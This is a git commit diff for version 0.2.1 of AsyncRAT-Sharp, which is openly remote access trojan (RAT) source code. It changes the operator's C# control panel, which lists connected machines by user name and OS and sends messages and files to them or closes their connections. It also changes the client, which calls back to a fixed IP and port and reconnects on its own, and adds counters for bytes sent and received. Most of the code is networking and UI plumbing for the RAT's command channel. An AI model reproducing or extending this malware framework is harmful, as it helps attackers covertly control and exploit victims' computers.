Update 0.2.1

This commit is contained in:
NYAN CAT 2019-01-27 06:40:16 -08:00
parent f458a93df8
commit a222434485
9 changed files with 171 additions and 93 deletions

View File

@ -53,6 +53,7 @@
<DependentUpon>Form1.cs</DependentUpon> <DependentUpon>Form1.cs</DependentUpon>
</Compile> </Compile>
<Compile Include="Handle Packet\HandlePacket.cs" /> <Compile Include="Handle Packet\HandlePacket.cs" />
<Compile Include="Helper.cs" />
<Compile Include="MessagePack\BytesTools.cs" /> <Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" /> <Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" /> <Compile Include="MessagePack\MsgPackType.cs" />

View File

@ -40,6 +40,7 @@
this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.ping = new System.Windows.Forms.Timer(this.components); this.ping = new System.Windows.Forms.Timer(this.components);
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1.SuspendLayout(); this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout();
this.SuspendLayout(); this.SuspendLayout();
@ -133,6 +134,12 @@
this.ping.Interval = 50000; this.ping.Interval = 50000;
this.ping.Tick += new System.EventHandler(this.ping_Tick); this.ping.Tick += new System.EventHandler(this.ping_Tick);
// //
// UpdateUI
//
this.UpdateUI.Enabled = true;
this.UpdateUI.Interval = 1000;
this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
//
// Form1 // Form1
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@ -166,6 +173,7 @@
private System.Windows.Forms.Timer ping; private System.Windows.Forms.Timer ping;
private System.Windows.Forms.ToolStripMenuItem sendFileToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem sendFileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem;
private System.Windows.Forms.Timer UpdateUI;
} }
} }

View File

@ -18,6 +18,7 @@ using System.IO;
namespace AsyncRAT_Sharp namespace AsyncRAT_Sharp
{ {
public partial class Form1 : Form public partial class Form1 : Form
{ {
public Form1() public Form1()
@ -25,19 +26,16 @@ namespace AsyncRAT_Sharp
InitializeComponent(); InitializeComponent();
} }
async private void Form1_Load(object sender, EventArgs e)
private void Form1_Load(object sender, EventArgs e)
{ {
Listener listener = new Listener(); Listener listener = new Listener();
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
thread.Start(Settings.Port); thread.Start(Settings.Port);
this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version); this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version);
while (true)
{
await Task.Delay(1000);
toolStripStatusLabel1.Text = string.Format("Online {0}", Settings.Online.Count.ToString());
}
} }
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e) private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
@ -53,14 +51,14 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Empty;
} }
} }
} }
} }
private void sendFileToolStripMenuItem_Click(object sender, EventArgs e) private void sendFileToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
@ -77,9 +75,8 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Red; CL.LV.ForeColor = Color.Red;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Empty;
} }
} }
} }
@ -87,6 +84,7 @@ namespace AsyncRAT_Sharp
} }
} }
private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e) private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e)
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
@ -96,28 +94,13 @@ namespace AsyncRAT_Sharp
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
Clients CL = (Clients)C.Tag; Clients CL = (Clients)C.Tag;
CL.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
CL.BeginSend(msgpack.Encode2Bytes()); CL.LV.ForeColor = Color.Orange;
CL.LV.ForeColor = Color.Empty;
} }
} }
} }
private void ping_Tick(object sender, EventArgs e)
{
if (Settings.Online.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
CL.BeginSend(msgpack.Encode2Bytes());
}
}
}
private void Form1_FormClosed(object sender, FormClosedEventArgs e) private void Form1_FormClosed(object sender, FormClosedEventArgs e)
{ {
Environment.Exit(0); Environment.Exit(0);
@ -136,6 +119,7 @@ namespace AsyncRAT_Sharp
} }
} }
private void listView1_MouseMove(object sender, MouseEventArgs e) private void listView1_MouseMove(object sender, MouseEventArgs e)
{ {
ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location); ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location);
@ -146,5 +130,24 @@ namespace AsyncRAT_Sharp
} }
private void ping_Tick(object sender, EventArgs e)
{
if (Settings.Online.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
foreach (Clients CL in Settings.Online.ToList())
{
ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes());
}
}
}
private void UpdateUI_Tick(object sender, EventArgs e)
{
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
}
} }
} }

View File

@ -126,4 +126,7 @@
<metadata name="ping.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"> <metadata name="ping.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>392, 17</value> <value>392, 17</value>
</metadata> </metadata>
<metadata name="UpdateUI.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
<value>490, 17</value>
</metadata>
</root> </root>

View File

@ -3,17 +3,18 @@ using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.MessagePack;
using System; using System;
using System.Diagnostics; using System.Diagnostics;
using System.Drawing;
namespace AsyncRAT_Sharp.Handle_Packet namespace AsyncRAT_Sharp.Handle_Packet
{ {
class HandlePacket class HandlePacket
{ {
public static void Read(Clients client, byte[] data) public static void Read(Clients Client, byte[] Data)
{ {
try try
{ {
MsgPack unpack_msgpack = new MsgPack(); MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(data); unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "ClientInfo": case "ClientInfo":
@ -21,13 +22,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
Program.form1.listView1.BeginInvoke((MethodInvoker)(() => Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
client.LV = new ListViewItem(); Client.LV = new ListViewItem();
client.LV.Tag = client; Client.LV.Tag = Client;
client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString()); Client.LV.Text = string.Concat(Client.Client.RemoteEndPoint.ToString());
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
Program.form1.listView1.Items.Insert(0, client.LV); Program.form1.listView1.Items.Insert(0, Client.LV);
Settings.Online.Add(client); Settings.Online.Add(Client);
})); }));
} }
break; break;
@ -37,6 +38,18 @@ namespace AsyncRAT_Sharp.Handle_Packet
Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
} }
break; break;
case "Received":
{
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{
Client.LV.ForeColor = Color.Empty;
}));
}
}
break;
} }
} }
catch(Exception ex) catch(Exception ex)

View File

@ -0,0 +1,18 @@
using System;
namespace AsyncRAT_Sharp
{
class Helper
{
public static String BytesToString(long byteCount)
{
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
if (byteCount == 0)
return "0" + suf[0];
long bytes = Math.Abs(byteCount);
int place = Convert.ToInt32(Math.Floor(Math.Log(bytes, 1024)));
double num = Math.Round(bytes / Math.Pow(1024, place), 1);
return (Math.Sign(byteCount) * num).ToString() + suf[place];
}
}
}

View File

@ -7,6 +7,8 @@ namespace AsyncRAT_Sharp
{ {
public static readonly List<Clients> Online = new List<Clients>(); public static readonly List<Clients> Online = new List<Clients>();
public static readonly int Port = 8080; public static readonly int Port = 8080;
public static readonly string Version = "0.2"; public static readonly string Version = "0.2.1";
public static long Sent = 0;
public static long Received = 0;
} }
} }

View File

@ -69,12 +69,17 @@ namespace AsyncRAT_Sharp.Sockets
if (MS.Length == Buffersize) if (MS.Length == Buffersize)
{ {
Read?.BeginInvoke(this, MS.ToArray(), null, null); Read?.BeginInvoke(this, MS.ToArray(), null, null);
Settings.Received += MS.ToArray().Length;
Buffer = new byte[1]; Buffer = new byte[1];
Buffersize = 0; Buffersize = 0;
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
BufferRecevied = false; BufferRecevied = false;
} }
else
{
Buffer = new byte[Buffersize - MS.Length];
}
} }
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
} }
@ -112,7 +117,7 @@ namespace AsyncRAT_Sharp.Sockets
catch { } catch { }
} }
public async void BeginSend(byte[] Msgs) public async void BeginSend(object Msgs)
{ {
if (Client.Connected) if (Client.Connected)
{ {
@ -120,16 +125,15 @@ namespace AsyncRAT_Sharp.Sockets
{ {
using (MemoryStream MS = new MemoryStream()) using (MemoryStream MS = new MemoryStream())
{ {
byte[] buffer = Msgs; byte[] buffer = (byte[])Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
await MS.WriteAsync(buffersize, 0, buffersize.Length); await MS.WriteAsync(buffersize, 0, buffersize.Length);
await MS.WriteAsync(buffer, 0, buffer.Length); await MS.WriteAsync(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, EndSend, null); Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
} }
} }
catch (Exception ex) catch
{ {
Disconnected(); Disconnected();
} }
@ -140,9 +144,10 @@ namespace AsyncRAT_Sharp.Sockets
{ {
try try
{ {
Client.EndSend(ar); int Sent = Client.EndSend(ar);
Settings.Sent += Sent;
} }
catch (Exception ex) catch
{ {
Disconnected(); Disconnected();
} }

View File

@ -23,7 +23,7 @@ namespace Client
{ {
public static readonly string IP = "127.0.0.1"; public static readonly string IP = "127.0.0.1";
public static readonly int Port = 8080; public static readonly int Port = 8080;
public static readonly string Version = "0.2"; public static readonly string Version = "0.2.1";
} }
class Program class Program
@ -77,8 +77,11 @@ namespace Client
public static void Reconnect() public static void Reconnect()
{ {
if (Client.Connected) return; if (Client.Connected) return;
Tick?.Dispose(); Tick?.Dispose();
try
{
if (Client != null) if (Client != null)
{ {
Client.Close(); Client.Close();
@ -86,6 +89,8 @@ namespace Client
} }
MS?.Dispose(); MS?.Dispose();
}
catch { }
InitializeClient(); InitializeClient();
} }
@ -106,6 +111,7 @@ namespace Client
if (Client.Connected == false) if (Client.Connected == false)
{ {
Reconnect(); Reconnect();
return;
} }
int Recevied = Client.EndReceive(ar); int Recevied = Client.EndReceive(ar);
@ -128,7 +134,6 @@ namespace Client
} }
else else
{ {
MS.Write(Buffer, 0, Buffer.Length); MS.Write(Buffer, 0, Buffer.Length);
} }
} }
@ -144,13 +149,17 @@ namespace Client
Buffersize = 0; Buffersize = 0;
BufferRecevied = false; BufferRecevied = false;
} }
else
{
Buffer = new byte[Buffersize - MS.Length];
} }
} }
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
}
else else
{ {
Reconnect(); Reconnect();
} }
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
} }
catch catch
{ {
@ -160,6 +169,9 @@ namespace Client
public static void Read(object Data) public static void Read(object Data)
{ {
try
{
Received();
MsgPack unpack_msgpack = new MsgPack(); MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])Data); unpack_msgpack.DecodeFromBytes((byte[])Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
@ -196,14 +208,27 @@ namespace Client
break; break;
} }
} }
catch { }
}
private static void Received()
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Received";
BeginSend(msgpack.Encode2Bytes());
}
public static void Ping(object obj) public static void Ping(object obj)
{
try
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString(); msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
BeginSend(msgpack.Encode2Bytes()); BeginSend(msgpack.Encode2Bytes());
} }
catch { }
}
public static void BeginSend(byte[] Msgs) public static void BeginSend(byte[] Msgs)
{ {
@ -219,7 +244,7 @@ namespace Client
MS.Write(buffer, 0, buffer.Length); MS.Write(buffer, 0, buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); Client.Poll(-1, SelectMode.SelectWrite);
Client.BeginSend(MS.ToArray(), 0, Convert.ToInt32(MS.Length), SocketFlags.None, EndSend, null); Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
} }
} }
catch catch